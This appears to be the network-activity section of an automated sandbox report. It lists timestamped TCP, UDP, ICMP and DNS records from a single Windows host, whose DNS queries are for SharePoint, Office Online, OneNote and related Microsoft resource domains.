Jul 16, 2024 13:08:09.012728930 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.012737989 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.039581060 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.039671898 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.259088993 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.259253979 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.259361982 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.259409904 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.259450912 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.259483099 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.259512901 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.260571003 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.260601997 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.831175089 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.831537962 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.831558943 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.832736015 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.833133936 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.833311081 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.833532095 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.880516052 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.098229885 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.098342896 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.098448038 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.098467112 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.098509073 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.098680019 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.099956989 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.099976063 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.104942083 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.105001926 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.105192900 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.105441093 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.105472088 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.940916061 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.941319942 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.941359043 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.941840887 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.942435026 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.942435026 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:10.942532063 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:10.995666027 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.014678001 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.014719009 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.015054941 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.015280008 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.015294075 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.213146925 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.213211060 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.213288069 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.213335991 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.213403940 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.214994907 CEST	50108	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.215025902 CEST	443	50108	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.839344025 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.839695930 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.839715958 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.840229034 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.840598106 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.840683937 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:11.840754032 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.882275105 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:11.882282019 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.105501890 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.105559111 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.105712891 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.105741978 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.106506109 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.108202934 CEST	50109	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.108221054 CEST	443	50109	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.110937119 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.110963106 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.111140013 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.111426115 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.111438036 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.956295013 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.956600904 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.956614017 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.957715034 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:12.958012104 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.958136082 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:12.958182096 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.001092911 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.002552032 CEST	50111	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.002641916 CEST	443	50111	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.002722025 CEST	50111	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.002959013 CEST	50111	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.002995968 CEST	443	50111	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.004182100 CEST	50112	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.004270077 CEST	443	50112	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.004353046 CEST	50112	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.004520893 CEST	50112	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.004555941 CEST	443	50112	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.227705956 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.227844000 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.227904081 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.227930069 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.228012085 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.228019953 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.228096962 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.229037046 CEST	50110	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.229051113 CEST	443	50110	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.829432011 CEST	443	50111	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.832561016 CEST	443	50112	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:13.882942915 CEST	50111	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:13.882944107 CEST	50112	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:14.555285931 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:08:14.555386066 CEST	443	50066	188.114.96.3	192.168.2.5
Jul 16, 2024 13:08:14.555566072 CEST	50066	443	192.168.2.5	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2024 13:06:49.780694008 CEST	53	54440	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:49.814615965 CEST	53	53738	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:51.020629883 CEST	52800	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:51.020786047 CEST	65344	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:51.035558939 CEST	53	50303	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:54.143121958 CEST	56674	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:54.143327951 CEST	59072	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:54.154326916 CEST	53	59072	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:54.159992933 CEST	53	56674	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:54.170547009 CEST	64680	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:54.170962095 CEST	53330	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:54.179215908 CEST	53	64680	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:54.180579901 CEST	53	53330	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:55.838898897 CEST	51822	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:55.839576006 CEST	61800	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:55.846587896 CEST	53	51822	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:55.848084927 CEST	53	61800	1.1.1.1	192.168.2.5
Jul 16, 2024 13:06:57.956820011 CEST	50575	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:06:57.957241058 CEST	53343	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:06.657906055 CEST	53	51494	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:06.820091009 CEST	53	59231	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:08.112435102 CEST	53	50135	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:14.768933058 CEST	54062	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:14.769303083 CEST	63831	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:16.761498928 CEST	59074	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:16.761708975 CEST	49186	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:16.766410112 CEST	58589	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:16.766751051 CEST	54945	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:16.789035082 CEST	53	54945	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:17.757936954 CEST	53166	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:17.758130074 CEST	59957	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:18.300056934 CEST	58005	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:18.300290108 CEST	56041	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.082045078 CEST	49243	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.082276106 CEST	56297	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.098051071 CEST	59403	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.098359108 CEST	63967	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.143028021 CEST	58980	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.143352032 CEST	52577	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.144567013 CEST	52452	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.144706011 CEST	49653	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.145947933 CEST	65302	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.146120071 CEST	59985	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.155924082 CEST	57223	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.156061888 CEST	56532	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.165473938 CEST	64901	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.165740967 CEST	60600	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.168559074 CEST	57374	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.168739080 CEST	57371	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.273267984 CEST	56011	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:19.273446083 CEST	56970	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.163408995 CEST	50997	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.163671970 CEST	59663	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.168354988 CEST	51589	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.168569088 CEST	65291	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.171190023 CEST	52886	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.171338081 CEST	60467	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.171849966 CEST	59212	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.172116041 CEST	53719	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.173557043 CEST	51658	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.173717976 CEST	65020	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.174823046 CEST	58709	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.175014973 CEST	64599	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.451632977 CEST	58592	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.452763081 CEST	63139	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.582976103 CEST	58434	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:20.583230019 CEST	58087	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:22.352118015 CEST	52492	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:22.352303028 CEST	62476	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:24.007287979 CEST	51316	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:24.007424116 CEST	55903	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:24.171838045 CEST	54987	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:24.172054052 CEST	60297	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:24.180114031 CEST	53	54987	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:24.180761099 CEST	53	60297	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:25.006706953 CEST	50953	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:25.007019997 CEST	56109	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:25.015299082 CEST	53	50953	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:25.016592979 CEST	53	56109	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:27.216319084 CEST	53	60721	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:28.594403982 CEST	60182	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:28.594571114 CEST	58304	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:28.605616093 CEST	53	58304	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:30.602384090 CEST	62152	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:30.602844000 CEST	58727	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:30.612446070 CEST	53	58727	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:32.037965059 CEST	64899	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:32.038120985 CEST	50397	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:32.069941998 CEST	53	64899	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:32.223474026 CEST	53	50397	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:33.371479988 CEST	59426	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:33.371658087 CEST	53078	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:33.618685961 CEST	53	59426	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:33.619821072 CEST	53	53078	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:34.354617119 CEST	60073	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:34.355561018 CEST	53485	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:34.361891031 CEST	53	60073	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:34.365963936 CEST	53	53485	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:34.494093895 CEST	50151	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:34.494935989 CEST	53762	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:34.663089037 CEST	53	53762	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:34.734627962 CEST	53	50151	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:48.409876108 CEST	53	64234	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:49.320091009 CEST	53	58318	1.1.1.1	192.168.2.5
Jul 16, 2024 13:07:57.917154074 CEST	53946	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.917320967 CEST	52767	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.917633057 CEST	64945	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.917742014 CEST	62278	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.918086052 CEST	63581	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.918194056 CEST	60635	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.918704987 CEST	54519	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:57.918898106 CEST	51123	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:58.900289059 CEST	54521	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:07:58.903286934 CEST	63451	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:05.478368044 CEST	53	50713	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 16, 2024 13:06:51.150859118 CEST	192.168.2.5	1.1.1.1	c35a	(Port unreachable)	Destination Unreachable
Jul 16, 2024 13:07:16.789098978 CEST	192.168.2.5	1.1.1.1	c274	(Port unreachable)	Destination Unreachable
Jul 16, 2024 13:07:24.037657976 CEST	192.168.2.5	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Jul 16, 2024 13:07:32.223545074 CEST	192.168.2.5	1.1.1.1	c236	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 16, 2024 13:06:51.020629883 CEST	192.168.2.5	1.1.1.1	0x4673	Standard query (0)	amdat-my.sharepoint.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:51.020786047 CEST	192.168.2.5	1.1.1.1	0xb0b9	Standard query (0)	amdat-my.sharepoint.com	65	IN (0x0001)	false
Jul 16, 2024 13:06:54.143121958 CEST	192.168.2.5	1.1.1.1	0x1350	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.143327951 CEST	192.168.2.5	1.1.1.1	0xda1a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 16, 2024 13:06:54.170547009 CEST	192.168.2.5	1.1.1.1	0x6d6e	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.170962095 CEST	192.168.2.5	1.1.1.1	0xef03	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:06:55.838898897 CEST	192.168.2.5	1.1.1.1	0x18d8	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:55.839576006 CEST	192.168.2.5	1.1.1.1	0xee3b	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:06:57.956820011 CEST	192.168.2.5	1.1.1.1	0xcbdf	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:57.957241058 CEST	192.168.2.5	1.1.1.1	0x2d7e	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:14.768933058 CEST	192.168.2.5	1.1.1.1	0x67cf	Standard query (0)	spoprod-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:14.769303083 CEST	192.168.2.5	1.1.1.1	0xf33c	Standard query (0)	spoprod-a.akamaihd.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:16.761498928 CEST	192.168.2.5	1.1.1.1	0x9254	Standard query (0)	amcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:16.761708975 CEST	192.168.2.5	1.1.1.1	0x4fb4	Standard query (0)	amcdn.msftauth.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:16.766410112 CEST	192.168.2.5	1.1.1.1	0x6476	Standard query (0)	storage.live.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:16.766751051 CEST	192.168.2.5	1.1.1.1	0xe227	Standard query (0)	storage.live.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:17.757936954 CEST	192.168.2.5	1.1.1.1	0xd5fa	Standard query (0)	amcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:17.758130074 CEST	192.168.2.5	1.1.1.1	0xdfee	Standard query (0)	amcdn.msftauth.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:18.300056934 CEST	192.168.2.5	1.1.1.1	0xeb79	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:18.300290108 CEST	192.168.2.5	1.1.1.1	0xd80b	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.082045078 CEST	192.168.2.5	1.1.1.1	0x9a88	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.082276106 CEST	192.168.2.5	1.1.1.1	0x74b5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.098051071 CEST	192.168.2.5	1.1.1.1	0xd5df	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.098359108 CEST	192.168.2.5	1.1.1.1	0xb9d1	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.143028021 CEST	192.168.2.5	1.1.1.1	0x9117	Standard query (0)	fa000000012.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.143352032 CEST	192.168.2.5	1.1.1.1	0xb866	Standard query (0)	fa000000012.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.144567013 CEST	192.168.2.5	1.1.1.1	0x67bb	Standard query (0)	fa000000096.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.144706011 CEST	192.168.2.5	1.1.1.1	0x80f1	Standard query (0)	fa000000096.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.145947933 CEST	192.168.2.5	1.1.1.1	0x5857	Standard query (0)	fa000000110.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.146120071 CEST	192.168.2.5	1.1.1.1	0x5453	Standard query (0)	fa000000110.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.155924082 CEST	192.168.2.5	1.1.1.1	0x1c2e	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.156061888 CEST	192.168.2.5	1.1.1.1	0xdb86	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.165473938 CEST	192.168.2.5	1.1.1.1	0x1e5e	Standard query (0)	fa000000111.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.165740967 CEST	192.168.2.5	1.1.1.1	0xb1b9	Standard query (0)	fa000000111.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.168559074 CEST	192.168.2.5	1.1.1.1	0x3fe3	Standard query (0)	fa000000128.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.168739080 CEST	192.168.2.5	1.1.1.1	0x1e8	Standard query (0)	fa000000128.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:19.273267984 CEST	192.168.2.5	1.1.1.1	0x864f	Standard query (0)	fa000000138.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.273446083 CEST	192.168.2.5	1.1.1.1	0xdf0a	Standard query (0)	fa000000138.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.163408995 CEST	192.168.2.5	1.1.1.1	0x6edd	Standard query (0)	fa000000111.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.163671970 CEST	192.168.2.5	1.1.1.1	0x2214	Standard query (0)	fa000000111.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.168354988 CEST	192.168.2.5	1.1.1.1	0x8358	Standard query (0)	fa000000128.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.168569088 CEST	192.168.2.5	1.1.1.1	0x8d6e	Standard query (0)	fa000000128.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.171190023 CEST	192.168.2.5	1.1.1.1	0x57d1	Standard query (0)	fa000000096.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.171338081 CEST	192.168.2.5	1.1.1.1	0x98bd	Standard query (0)	fa000000096.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.171849966 CEST	192.168.2.5	1.1.1.1	0x1627	Standard query (0)	fa000000012.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.172116041 CEST	192.168.2.5	1.1.1.1	0xd2f6	Standard query (0)	fa000000012.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.173557043 CEST	192.168.2.5	1.1.1.1	0x342b	Standard query (0)	fa000000110.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.173717976 CEST	192.168.2.5	1.1.1.1	0x2e4c	Standard query (0)	fa000000110.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.174823046 CEST	192.168.2.5	1.1.1.1	0xaf4	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.175014973 CEST	192.168.2.5	1.1.1.1	0x6cfa	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.451632977 CEST	192.168.2.5	1.1.1.1	0xe8ac	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.452763081 CEST	192.168.2.5	1.1.1.1	0xd7a6	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:20.582976103 CEST	192.168.2.5	1.1.1.1	0x96fd	Standard query (0)	fa000000138.resources.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.583230019 CEST	192.168.2.5	1.1.1.1	0x9a	Standard query (0)	fa000000138.resources.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:22.352118015 CEST	192.168.2.5	1.1.1.1	0x1635	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
